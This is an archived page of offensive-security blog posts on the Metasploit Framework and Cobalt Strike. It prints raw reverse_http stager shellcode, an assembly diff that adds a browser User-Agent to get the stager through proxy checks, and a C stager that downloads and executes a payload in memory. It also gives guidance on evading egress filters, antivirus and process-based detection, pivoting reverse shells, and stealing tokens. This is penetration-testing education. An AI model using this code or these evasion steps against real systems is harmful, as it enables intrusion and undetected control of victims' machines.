Archive for the ‘metasploit framework’ Category

h1

Modifying Metasploit’s Stager Shellcode

February 12, 2014

If you’ve ever had to change a module in the Metasploit Framework, you know the go to place is the modules/ directory off of the Metasploit Framework’s root folder.

Recently, I had to modify the Metasploit Framework’s reverse_http stager. It currently sends a blank User-Agent. This is a problem because a blank User-Agent will not get through proxy servers that whitelist browsers. It’s a trade-off though. Using a blank User-Agent keeps this stager small and compatible with more exploits.

I opened up modules/payloads/stagers/windows/reverse_http.rb and I was greeted with the following:

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Reverse HTTP Stager',
      'Description'   => 'Tunnel communication over HTTP',
      'Author'        => 'hdm',
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Handler'       => Msf::Handler::ReverseHttp,
      'Convention'    => 'sockedi http',
      'Stager'        =>
        {
          'Offsets' =>
            {
              # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
              # 'EXITFUNC' => [ 290, 'V' ],
              'LPORT'    => [ 190, 'v' ], # Not a typo, really little endian
            },
          'Payload' =>
              "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
              "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
              "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
              "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
              "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
              "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
              "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
              "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
              "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
              "\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
              "\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7" +
              "\xFF\xD5\xEB\x4B\x5B\x31\xC9\x51\x51\x6A\x03\x51\x51\x68\x5C\x11" +
              "\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2" +
              "\x52\x68\x00\x02\x60\x84\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E" +
              "\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68" +
              "\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB" +
              "\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5" +
              "\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00" +
              "\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00" +
              "\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD" +
              "\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\x65\xFF\xFF\xFF"
        }
      ))
  end

I have a pretty reasonable background in many development situations. I have two rules: I won’t work in a programming environment that requires IDE generated XML to get things done (without a lot of swearing). And, I won’t try to hot-patch a binary blob when it’s in that form.

Fortunately, my pressing need did not require me to break either rule. I was able to stroll to the external/source/shellcode/windows/x86 folder in the Metasploit Framework. This is where the Metasploit Framework stores the source code for its shellcode. Even better, this code is split up such that common pieces are in their own files and files that use them include them directly. All of the code here is also well commented. This is about as clean and maintainable as shellcode gets.

My goal is to change the http stager though. So, I went to the stager_reverse_http.asm file in external/source/shellcode/windows/x86/src/stager first.

  cld                    ; Clear the direction flag.
  call start             ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start:                   ;
  pop ebp                ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_http.asm"
  ; By here we will have performed the reverse_tcp connection and EDI will be our socket.

Here, I saw that I would need to look in another file. I then took a look at the block_reverse_http.asm file in external/source/shellcode/windows/x86/src/block/. Bingo. I found my file.

Next, I made my changes. Adding a User-Agent to the HTTP stager isn’t too bad. Here’s my .diff file to do it:

--- external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
+++ external/source/shellcode/windows/x86/src/block/block_reverse_http.asm
@@ -16,14 +16,19 @@ load_wininet:
   push 0x0726774C        ; hash( "kernel32.dll", "LoadLibraryA" )
   call ebp               ; LoadLibraryA( "wininet" )

+  call internetopen      ; jump!
+
+useragent:
+  db "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)", 0x00
+
 internetopen:
+  pop ecx                ; pointer to User-Agent string
   xor edi,edi
   push edi               ; DWORD dwFlags
   push edi               ; LPCTSTR lpszProxyBypass
   push edi               ; LPCTSTR lpszProxyName
   push edi               ; DWORD dwAccessType (PRECONFIG = 0)
-  push byte 0            ; NULL pointer
-  push esp               ; LPCTSTR lpszAgent ("\x00")
+  push ecx               ; LPCTSTR lpszAgent (user agent)
   push 0xA779563A        ; hash( "wininet.dll", "InternetOpenA" )
   call ebp

We’re almost done. We need to assemble the new stager with the changes and update the reverse_http.rb file in the payloads folder. Fortunately, the Metasploit Framework includes a Python(!) script to assemble the final shellcode product. Change to the external/source/shellcode/windows/x86/ folder and run:

python build.py stager_reverse_http

This build script output the assembled stager in a form that I pasted back to the original stager file. It also output the offset for LPORT as LEPort Offset.

I had to update the LPORT Offset in the stager  too. This is specified in the 'LPORT' => [ 190, 'v' ] line in the payload module. I changed the 190 to the LEPort value provided by build.py.

In this post, I took you through how to change the shellcode for a Metasploit Framework stager. I had to change the reverse_http stager to help a custom payload get past the proxy issue I described earlier. Regardless of the example change I used, you now know where source code to the Metasploit Framework’s stagers live, how to change a stager, how to build your changes, and make the framework use those changes.

h1

Reverse Meterpreter Connect-backs through a Compromised Host

November 26, 2013

<update 03:30pm> I’ve had some feedback that this post describes a concept that is too basic to put into blog form. I can see where this confusion may occur. Most literature that describes pivoting through Meterpreter, shows how to setup a payload connection that goes through Meterpreter (e.g., a bind payload). What isn’t well known or documented, is the Metasploit Framework’s ability to setup a connection that calls home to you through a Meterpreter pivot (e.g., a reverse payload bounced through a pivot host). This nuance is important.

Let’s say I have admin user credentials for a server that can’t egress out of the network and connect to me. This server has a host-based firewall as well. Only port 445 is allowed in. If I try to deliver a bind payload, my attempt to connect to the host to establish the session will get stopped. If I try to setup a reverse connection, directly to my host on the internet, this will fail too–because the host can’t egress and connect to me. What else do I do? I could try to schedule a task to drop the firewall on the server (with psexec_command). I’ve done this. In some cases though, this might generate an alert that draws unwanted attention to my activity. The desirable solution is to compromise the server (172.16.48.3) and send the reverse connection through an already compromised host (172.16.48.81), before it reaches me. This is what I describe how to do in this blog post.</update>

reversecallback

Here’s how to do it:

First, you need to compromise a system and get Windows Meterpreter onto the system. However you do it is fine with me.

Next, you need to setup a pivot into the target network. Here’s how to do it:

20.57.17 Console

Notice that 172.16.48.81 is my initial compromise and pivot host.

Last, you need to exploit another system and setup the reverse connect back accordingly. Ask yourself: how would I do this? Do you have an answer? Let’s see if you’ve arrived at the correct one.

Setup the exploit as you would normally. Next, set LHOST to the IP address of the compromised system that is also your pivot point. Change LPORT as well. Now, fire the exploit.

reverseconnectpivot

Notice that the Metasploit Framework recognizes the situation and sets up a reverse port forward for you. This is indicated by the string “Started reverse handler on [compromised host] via the meterpreter on session [pivot session]”. If your exploit fired correctly, you will have a session reverse connected through your compromised system.

Here’s the output of netstat on the compromised system:

20.59.30 cmd_exe_2624_2

Pretty neat.

h1

Evade Egress Restrictions with Staged Payloads

November 15, 2013

Sometimes, it’s easy to get code execution in a network, but very difficult to egress out of it. When you are an external actor trying to get a foothold, it’s important that your attack package use a payload that’s likely to leave your target’s network. If you can’t get out, all of your work is wasted.

egress_blocked

Payloads in the Metasploit Framework are staged. This means that the payload is delivered in pieces. The first piece, known as the stager, connects to you, the attacker, and downloads the second piece, known as the stage. Once the stage is downloaded, the stager executes it.

The Metasploit Framework’s stagers are compatible with different payload options. For example, the Metasploit Framework’s reverse_http stager can deliver Meterpreter or Cobalt Strike’s Beacon.

If your stager can not get past egress filters to download a payload, then your payload will not execute. This blog post focuses on how to get past egress restrictions with a stager.

Egress Assumptions

Some networks are wide open. If you’re dealing with an open network, then this blog post is of little use to you. Here’s what you can expect in a modern enterprise:

  • Default policy is to deny all outbound connections
  • Allowed outbound connections must go through a proxy
  • Outbound connections must conform to the expected protocol
  • Outbound connections must pass other checks as well.

With these assumptions in mind, let’s talk about the different Metasploit Framework stagers and how they apply.

Reverse TCP Stagers

The reverse_tcp stager establishes a connection to the attacker on an arbitrary port and downloads the payload.

A variation of the reverse_tcp stager is the reverse_tcp_allports stager. This stager will attempt to connect back to the attacker on port 1, then port 2, port 3, so on and so forth. Once it establishes a connection, it will download the payload and pass control to it. From a network security monitoring point of view, this looks like an attempted port scan from a workstation to an internet host. If your goal is to avoid tripping alarms, I highly recommend that you avoid this stager.

Another variation is the reverse_tcp_dns stager. Contrary to some beliefs, this is NOT a stager to use a Metasploit Framework payload over DNS. The reverse_tcp_dns stager allows you to specify a fully qualified domain name as the LHOST value the stager should connect to.

Our assumptions immediately rule out use of these stagers. If you want to get past tough egress restrictions, forget these stagers.

HTTP and HTTPS Stagers

The Metasploit Framework’s reverse_http  stager makes an HTTP GET request to an attacker controlled system to download the payload stage. The reverse_http stager uses the WinINet API to communicate. WinINet is the same library Internet Explorer uses to fulfill requests.

egress_good

The reverse_https is similar to the reverse_http stager. The main difference is that the reverse_https stager uses SSL, where reverse_http does not.

Proxy (No Authentication)

In our assumptions, all outbound connections must go through a proxy of some sort. The reverse_http stager will pick up the user’s proxy settings by default. This is thanks to WinINet.

If the proxy server requires no authentication, the HTTP and HTTPS stagers will go right through it.

Proxy (NTLM Authentication)

If the proxy server requires NTLM authentication, the HTTP and HTTPS stagers will usually go right through it. There is a caveat.

For WinINet to authenticate to a proxy server, it needs a valid domain user’s token. If your stager runs as a domain user, then you’re all set. If your stager runs as SYSTEM, then you have a problem. The SYSTEM token means nothing to another system on the domain.  If WinINet tries to authenticate with this token, it will fail.

WinINet is also not designed for programs run as a service. When a program runs as a service the proxy settings are not available to WinINet.

These caveats are important to know. Some persistence techniques will automatically run your code as SYSTEM or as a service. The Metasploit Framework’s PsExec modules will run your payload as SYSTEM. It’s a shame to set up persistence or PsExec to a host, but never get a session, because of a WinINet limitation.

These limitations are known and they’re by design. WinINet is made for use by Windows desktop applications. For Windows services, the correct library to use is WinHTTP. WinHTTP is another internet communication library in Windows. There is no WinHTTP-based stager or payload in the Metasploit Framework.

Proxy (Static Username/Password)

If the proxy server requires a static username and password to get out, you’re in trouble. The Metasploit Framework’s reverse_http stager will not prompt the user for this information or pick up on the cached values.

There is a reverse_https_proxy stager in the Metasploit Framework. This stager allows the attacker to supply a known username and password to get out through a proxy server.

Protocol Checks

Thanks to WinINet, the reverse_http and reverse_https stager will pass basic protocol checks. To a proxy server, the traffic from these stagers will look like valid traffic. That said, there are a few other checks that may bite you.

FQDN Checks

Some proxy devices have an option to block URLs that reference an IP address directly. This closes a potential loophole to get access to restricted websites. If you plan to use the HTTP or HTTPS stagers, I recommend that you make sure LHOST is set to a fully qualified domain name, not your IP address.

User-Agent Checks

The Metasploit Framework’s HTTP and HTTPS stagers specify an empty User-Agent string. I assume that this to keep these stagers small. Some HTTP proxy devices include a Browser Check feature. This feature will block HTTP requests with User-Agent strings that are not present in an allow list. If this option is on, it may hurt your ability to stage a payload with the reverse_http stager.

The reverse_https stager is immune to most checks like this. When an HTTPS request goes through a proxy server, the client tells the proxy server which host and port to connect to. From that point, the proxy server relays the SSL encrypted traffic between the client and the requested server, with no knowledge of the content of the conversation. There are exceptions to this, but they’re rarer.

DNS Stager

dns_txt_query_exec is a Metasploit Framework module that demonstrates how to download code over DNS and execute it.

Cobalt Strike includes a heavily modified payload stager based on the dns_txt_query_exec module. These changes add resiliency to the stager (DNS requests do fail sometimes!) and make it capable of downloading payloads larger than 25KB. Cobalt Strike also includes a DNS server to automatically speak this staging protocol without forcing the user to create records by hand.

A TXT record is limited to 255 characters. It takes many TXT record requests to download a payload. I use the modified dns_txt_query_exec to stage Cobalt Strike’s Beacon over DNS when needed. It takes around 1,000 TXT record requests to stage Beacon. Over the internet, this takes about one minute.

DNS Staging is a nice option for systems that can’t connect to the internet or when other egress restrictions are too much work to figure out. If a system can resolve a fully qualified domain name to an IP address, then it can probably stage a payload over DNS too.

Tradecraft, part 8: Offense in Depth discusses this topic as well.

h1

Why is notepad.exe connecting to the internet?

August 8, 2013

To the observant network defender, notepad.exe connecting to the internet is a key indicator of compromise. In this blog post, I’d like to explain why attack frameworks inject code into notepad.exe and how you may avoid it in your attack process.

09.21.21 Beacon_10_10_12_12_3448

Let’s say I email a Microsoft Word document that has a malicious macro to a human resources target. This macro, when run, will inject my code into memory and run it. At this point, my code is running inside of Microsoft Word. What happens if the user closes Microsoft Word or the program crashes? My running code goes away and I have nothing to show for my efforts.

For situations like this, it’s helpful to have my code migrate to another process… ideally in an automatic way. This way, if the program I exploit crashes or the user closes it, I’m still on the system.

Cobalt Strike and the Metasploit Framework use notepad.exe as a default process to spawn and inject into. notepad.exe is a good candidate as a 32bit version of it exists on x86 and x64 systems. It also has a predictable path on both systems. Another key criterion–I can spawn notepad.exe with no arguments and it will not immediately exit.

If you’re playing in an exercise and the blue team gets rid of notepad.exe (a dirty, but not unfair trick in an exercise), you may find yourself in trouble. If the blue team is automatically killing notepad.exe, you may find yourself in trouble. If an organization uses Matt Weeks’ Ambush IPS and they have a rule to detect notepad.exe using a Winsock or WinINet function, you may find yourself in trouble.

To survive, it helps to know how to quickly adapt your tools to jump to something other than notepad.exe. Here’s a few tips do just that:

Meterpreter

Cobalt Strike gives you the ability to define static listeners. If you create a Meterpreter listener and check the Automatically migrate session box, you’re telling Cobalt Strike you’d like Meterpreter to move to a new process once a session is established. This action forces Cobalt Strike to set a Metasploit Framework option, InitialAutoRunScript to migrate -f when it creates a handler for you.

Many Metasploit Framework client-side exploits automatically set InitialAutoRunScript to migrate -f as well.

The InitialAutoRunScript option will execute the specified Meterpreter script as soon as a session is established. The migrate script is located in /path/to/metasploit/msf3/scripts/meterpreter/migrate.rb. The -f option opens a new process (notepad.exe) and migrates your Meterpreter session to it.

# Creates a temp notepad.exe to migrate to depending the architecture.
def create_temp_proc()
	sysinfo =  client.sys.config.sysinfo
	windir = client.fs.file.expand_path("%windir%")
	# Select path of executable to run depending the architecture
	if sysinfo['Architecture'] =~ /x86/
		cmd = "#{windir}\\System32\\notepad.exe"
	else
		cmd = "#{windir}\\Sysnative\\notepad.exe"
	end
	# run hidden
	proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
	return proc.pid
end

Edit this script to force many parts of Cobalt Strike and the Metasploit Framework to migrate Meterpreter to something other than notepad.exe. Try an alternative, like rundll32.exe. As of this writing, lines 42-54 of this file contain the code you need to change.

Session Passing

If you’re passing sessions with the post/windows/manage/payload_inject or exploits/windows/local/payload_inject, beware that both modules will, by default, spawn a notepad.exe process to inject a stager for the desired session type. There’s a very good reason for this too. If I inject shellcode into my current process and the shellcode crashes it will take the my process down with it… killing my session.

This is a more common occurrence than you might think. If I try to inject a windows/meterpreter/reverse_tcp stager into a process and it can’t connect to a handler, it will crash the process.

# Creates a temp notepad.exe to inject payload in to given the payload
# Returns process PID
def create_temp_proc()
	windir = client.fs.file.expand_path("%windir%")
	# Select path of executable to run depending the architecture
	if @payload_arch.first== "x86" and client.platform =~ /x86/
		cmd = "#{windir}\\System32\\notepad.exe"
	elsif @payload_arch.first == "x86_64" and client.platform =~ /x64/
		cmd = "#{windir}\\System32\\notepad.exe"
	elsif @payload_arch.first == "x86_64" and client.platform =~ /x86/
		cmd = "#{windir}\\Sysnative\\notepad.exe"
	elsif @payload_arch.first == "x86" and client.platform =~ /x64/
		cmd = "#{windir}\\SysWOW64\\notepad.exe"
	end
	begin
		proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
	rescue Rex::Post::Meterpreter::RequestError
		return nil
	end
	return proc.pid
end

For the sake of safety, it’s best to inject into a new process. To get around the notepad.exe bias in these modules, simply edit them in the Metasploit Framework code. The files are:

Note: these modules are the same thing. As of this writing, the Metasploit Framework is still in a transition porting post modules that accept a PAYLOAD to windows/local exploit modules. I expect that post modules with equivalent local exploits will eventually go away.

Beacon

Cobalt Strike’s Beacon came into this world as a light-weight way to quickly spawn Meterpreter sessions as needed. As with the payload_inject module above, Beacon creates a hidden notepad.exe process when spawning a new session. Fortunately, there are some options in Beacon you may tweak on the fly to change this behavior.

Once you gain access with Beacon, use the shell command to explore the system and decide which program you want to use as your new default. Once you know the full path to this program, use Beacon’s spawnto command to tell Beacon to spawn shellcode into it.

spawnto

The spawnto command only applies to the current Beacon. This is done deliberately as you may control Beacons from a variety of systems with different configurations.

If you prefer to do so, you may also inject sessions into running processes using Beacon’s inject command. Just provide a process ID and the name of a listener.

In this blog post, I’ve taken you through a common behavior in the Metasploit Framework and Cobalt Strike–spawning code into notepad.exe. I explained why this behavior exists and pointed you to a few touch points to avoid this behavior in your attacks. If you find this behavior or indicator is stopping your attacks, you have the flexibility to avoid it.

h1

Situational Awareness for Meterpreter Users

July 25, 2013

Hacking involves managing a lot of contextual factors at one time. Most times, the default situation works and a tool will perform beautifully for you. Sometimes though, there are things you have to check on and work around. That’s what this blog post is. I’d like to give you a list of contextual factors you should know about your Meterpreter session with pointers on how to manipulate these factors. This information will help you think on your feet and modify your situation so that you can get what you want out of your post-exploitation agent.

Which process do I live in?

Let’s start with the first contextual factor: your process. After exploitation, Meterpreter lives in the process you took control of. This process is associated with a user, it may or may not have a subset of the active users privileges, and depending on which process it is–the process could go away.. in any moment.

To learn which process your Meterpreter session lives in, use the getpid command. This will return your current process id.

meterpsa

To see which processes are on the system, type ps to see a listing of processes.

meterpps

To change to another process, use migrate [process id] to force Meterpreter to open a handle to another process, allocate memory there, copy itself, and start a new thread of execution in that process. Somehow, Meterpreter preserves state during this migration as well. I’d like to give you a summary of how it does that, but truth is–I don’t know 🙂 The PID column of the ps output indicates the process ID. Don’t confuse this column with PPID which is the parent process ID.

Be aware of “when” you choose to migrate. If you live in a process and you’ve started pivoting, logging keystrokes, and doing other things–when you migrate, you may end up forcing Meterpreter to think it must control or interact with a non-existent resource and you may lose your session. It’s best to migrate early, before you’ve started to do anything significant. If in doubt, have Beacon on the system to give you a quick way to recover your session if something goes wrong.

What is the architecture of the system I’m on and the process I’m in?

When you attack a system and get a session, you may deliver an x86 payload, but find that you’re on an x64 system. It’s important to know the architecture of the system you’re on and the type of process you live in. If you’re in an x86 process on an x64 system, some actions that require manipulation of system data structures will fail. If you want to dump hashes or use mimikatz, you will need to make sure you live in a process that matches the native system.

How do you do this? You can pull this off with our friend migrate. Use migrate [process id] to move to another process. If you move from an x86 to an x64 process or vice versa, Meterpreter will manage this transition for you. The Arch column of ps’s output is the architecture of the process.

To determine the architecture of your current Meterpreter session and the system you’re on, use sysinfo.

What is my current desktop?

This is one that bites folks a lot. Windows has the concept of desktop sessions. Each desktop session has its own number. Most Meterpreter actions will act on the active desktop session. If you try to take a screenshot, Meterpreter will try to oblige you by getting a screenshot of the current desktop session. If your process is not associated with a desktop, then you will not get a screenshot. If your process is not associated with a desktop that’s in use, then you will not get a useful screenshot. This same logic also applies to keystrokes and other tools that allow you to capture user activity. This same logic also applies if you’re trying to execute a non-hidden program and make it show on the user’s desktop.

To see which desktop you’re in, use getpid to determine your process and look at the session column in the output of ps.

Use enumdesktops to see which desktops are available.

enumdesktops

Use setdesktop to force your process to associate with another desktop. This command requires a few arguments provided by enumdesktops, make sure you review the help provided by setdesktop -h.

Take a look at the Session column of ps’s output to see the desktop session associated with each process.

Which token do I have?

The last item to know is your current token. In Windows, each process and thread has a token associated with it. This token states which user the thread of execution is associated with and which subset of that user’s rights the thread or process has. Knowing the token you currently have is everything. Your token is your free pass to summer fun and the ability to do things.

If you have the NT AUTHORITY\SYSTEM token, you have a token that gives you complete control of the host that you’re on. Generally, you need this token to dump hashes and perform other actions that require interrogating the system for things you want. This token is associated with the current host though. This token does not give you the right to manipulate other systems that trust the same domain controller.

If you have the token of a user on the domain, you have the rights to do things and access the resources that user can get to. For example, if there’s a share on another system that you have the rights to, you may open a command shell and interrogate it.

If you have the token of a domain administrator, then you may go to town and take over the world. You can try to copy an executable to a place another host can reach and schedule it to run on another host. This gives you the ability to get code execution on other hosts that are part of the same domain.

Knowing your current token is important. To determine the token you have, use getuid.

To steal a token from a process, use steal_token [process id]. The User column of ps’s output has the token associated with each process.

To go back to your original token when you’re ready to do so, use rev2self (revert to self).

A process listing is one place to find a token, but it’s not the only place. Windows may associate a different token with each thread and tokens persist on a system until reboot. If you want to enumerate the current system for all available tokens, use the incognito module to do so. I could write about this module here, but the Metasploit Unleashed Wiki covers it well.

The Take Away

When I’m using meterpreter, sometimes, an action will not happen as I hoped. When I find myself in this situation. I take a look at these contextual factors. If I want to spy on the user, I make sure I’m in a process associated with the right desktop session. If I want to dump hashes I make sure my meterpreter architecture matches the operating system’s architecture. If I want to perform a privileged action, I make sure I have the right token to do it.

As deceptively simple as Meterpreter is, there are a lot of contextual factors to know to get the most from it.

h1

Staged Payloads – What Pen Testers Should Know

June 28, 2013

The Metasploit Framework decouples exploits from the stuff that gets executed after successful exploitation (the payload). Payloads in the Metasploit Framework are also divided into two parts, the stager and the stage. The stager is responsible for downloading a large payload (the stage), injecting it into memory, and passing execution to it.

payloadstage-light

Payload Staging Process

Staging first came about out of necessity. Many exploitable situations constrain how many bytes an attacker may load, unchanged, into one contiguous location in memory. One way to do interesting post exploitation in these situations is to deliver the payload in stages.

Stagers are usually written in hand optimized assembly language. The attacker’s goal is to make the stager as small as possible. A small stager gives an attacker freedom to use it with more exploits.

This code snippet shows a stager written in C. Allocate a buffer, download the stage, and pass control onto it. I explain this process in an earlier blog post, the entire program is on Github.

/* connect to the handler */
SOCKET my_socket = wsconnect(argv[1], atoi(argv[2]));

/* read the 4-byte length */
int count = recv(my_socket, (char *)&size, 4, 0);
if (count != 4 || size <= 0) 	punt(my_socket, "read a strange or incomplete length value\n"); /* allocate a RWX buffer */ buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (buffer == NULL) 	punt(my_socket, "could not allocate buffer\n"); /* prepend a little assembly to move our SOCKET value to the EDI register    thanks mihi for pointing this out    BF 78 56 34 12     =>      mov edi, 0x12345678 */
buffer[0] = 0xBF;

/* copy the value of our socket to the buffer */
memcpy(buffer + 1, &my_socket, 4);

/* read bytes into the buffer */
count = recv_all(my_socket, buffer + 5, size);

/* cast our buffer as a function and call it */
function = (void (*)())buffer;
function();

Staging makes it possible to deliver a variety of payloads with just a few stagers. So long as I have code that is compatible with a stager, I may deliver my code with all the exploits the stager supports (again, size is a constraint). This flexibility makes payloads like Beacon possible without requiring modifications to the Metasploit Framework.

Relying on a stager makes anti-virus evasion simpler too. Windows Meterpreter is 700KB and Cobalt Strike’s Beacon is 120KB. Let’s assume there is no size constraint–if I create an attack package, to deliver my desired payload as-is, I am providing an anti-virus vendor with a lot more stuff they can write a signature against. By using a stager to deliver my payload, I have to focus only on getting the stager and attack package past anti-virus. If the stager is not caught, then my stage is probably safe.

In theory, a stage could be position independent code of any size. In reality, stages used with the Metasploit Framework are DLLs written in C. These DLLs are compiled with a Reflective DLL Injection library, written by Stephen Fewer. This library is able to load a library into a process from memory. Consult Stephen Fewer’s Reflective DLL Injection paper to learn how it works.

When preparing a DLL to become a stage, the Metasploit Framework prepends bootstrap code to the beginning of the payload DLL. This bootstrap code calls the exported Reflective DLL injection function in the payload DLL with the location in memory of the payload DLL. This bootstrap code coupled with the Reflective DLL Injection library allows the payload to load itself into the process, without touching disk, once the stager passes control to it. From my experience, this process requires a specific compiler and build settings to work properly.

staging

Payload Staging without Encoding

If you look at a staging process in Wireshark, you will see an unobfuscated DLL going over the wire. This is a great opportunity to get caught. Fortunately, the Metasploit Framework now has options to encode this second stage. These options are EnableStageEncoding and StageEncoder. Cobalt Strike’s Listener Management feature automatically sets these options for you.

Payload Staging with Encoding

Payload Staging with Encoding

While the simplest stagers connect to an attacker and download the payload via a TCP connection, this is not always the case. It’s possible to stage over any protocol a developer is willing to write code for. Windows provides a rich library called WinINet that makes it easy to grab content from any URL. This library sits below Internet Explorer and gives developers a lot of capability for free. This library makes it possible to grab a payload over HTTP or HTTPS while keeping the stager small enough to use with most exploits.

Sadly, the size constraint of stagers makes other communication options more challenging to implement with the Metasploit Framework’s toolset. If there are no built-in Windows libraries to download a stage with very little code, it makes little sense to write a stager for that protocol. If there is no stager for a protocol, it makes little sense to have Meterpreter or another payload speak that protocol. The logic goes like this–if I can stage over a protocol, then I must be able to communicate over it. If I can’t stage over a protocol, I shouldn’t expect that I can stage the payload in the first place. This logic kept me from pursuing the DNS Communication feature in Beacon for a long time.

Staged Payloads are an awesome capability in the penetration tester’s arsenal. Stagers give us a lot of flexibility in terms of which tools we use after successful exploitation. Even though this process is largely invisible to users, I wrote this post to shed some light and context on what’s happening. The better we know our tools, the better prepared we are to use them properly.

h1

Pivoting through SSH

March 28, 2013

This is a pretty quick tip, but still useful. When you SSH to a host, you may use the -D flag to setup “dynamic” application-level port forwarding. Basically, this flag makes your ssh client setup a SOCKS server on the port you specify:

ssh -D 1234 msfadmin@whatever.host

What you may not know, is that it’s possible to send your Metasploit Framework exploits through this SSH session. To do so, just set the Proxies option. It’s an Advanced option, so you will need to check the Show Advanced Options box in Armitage. The syntax is:

socks4:[host]:[port]

To send an attack through this SSH session, I would set Proxies to socks4:127.0.0.1:1234.

This came in hand at the North East Collegiate Cyber Defense Competition. We were able to get onto a student network through one Linux host. This Linux host could see another Linux host on the same network. Through this second Linux host, we were able to touch the team’s domain controller. We had cracked several credentials earlier. Our last task was to verify if any of them worked through the domain controller. We fixed the team’s DNS server and installed smbclient. Once we discovered one of our accounts could read the ADMIN$ share, we used ssh -D 8080 to get to the first server. We setup proxychains to go through this SOCKS host. We then used ssh -D 8081 to connect to the second server. From that point, we were able to point Proxies to socks4:127.0.0.1:8081 to psexec and executable to the domain controller. This executable delivered Cobalt Strike’s Beacon, which gave us some post-exploitation capabilities. We held that domain controller for the rest of the event.

t3

If you ever need to pivot an attack through an SSH session, the Proxies option will come in handy.